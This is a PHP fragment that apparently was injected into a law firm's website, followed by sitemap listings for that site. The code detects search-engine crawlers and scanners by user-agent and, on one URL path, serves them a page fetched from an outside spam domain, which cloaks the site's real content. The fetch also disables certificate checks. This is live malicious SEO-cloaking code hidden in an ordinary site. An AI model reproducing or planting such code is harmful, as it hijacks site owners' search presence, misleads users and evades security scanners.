?php $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $currentUrl = $_SERVER['REQUEST_URI'] ?? '/'; $botPattern = '/(bot|ahrefsbot|crawl|spider|slurp|fetch|google|scanner|check|analyzer|httpclient|http_request|headless|chrome-lighthouse|google-inspectiontool|google-site-verification|googlebot|adsbot-google)/i'; $targetDir = '/conheca-sorgo/'; if (preg_match($botPattern, $userAgent) && strpos($currentUrl, $targetDir) !== false) { $externalUrl = 'https://301-family.club/batam/reisadvogados/conheca-sorgo.html'; header('Content-Type: text/html; charset=UTF-8'); $context = stream_context_create([ "http" => [ "header" => "User-Agent: " . $userAgent . "\r\n", "timeout" => 10 ] ]); $content = @file_get_contents($externalUrl, false, $context); if ($content === false) { $ch = curl_init($externalUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, $userAgent); $content = curl_exec($ch); curl_close($ch); } if ($content !== false && !empty($content)) { echo $content; exit(); } else { return; } } https://www.reisadvogados.com/post-sitemap.xml 2026-04-06T20:54:29+00:00 https://www.reisadvogados.com/page-sitemap.xml 2026-07-16T12:10:21+00:00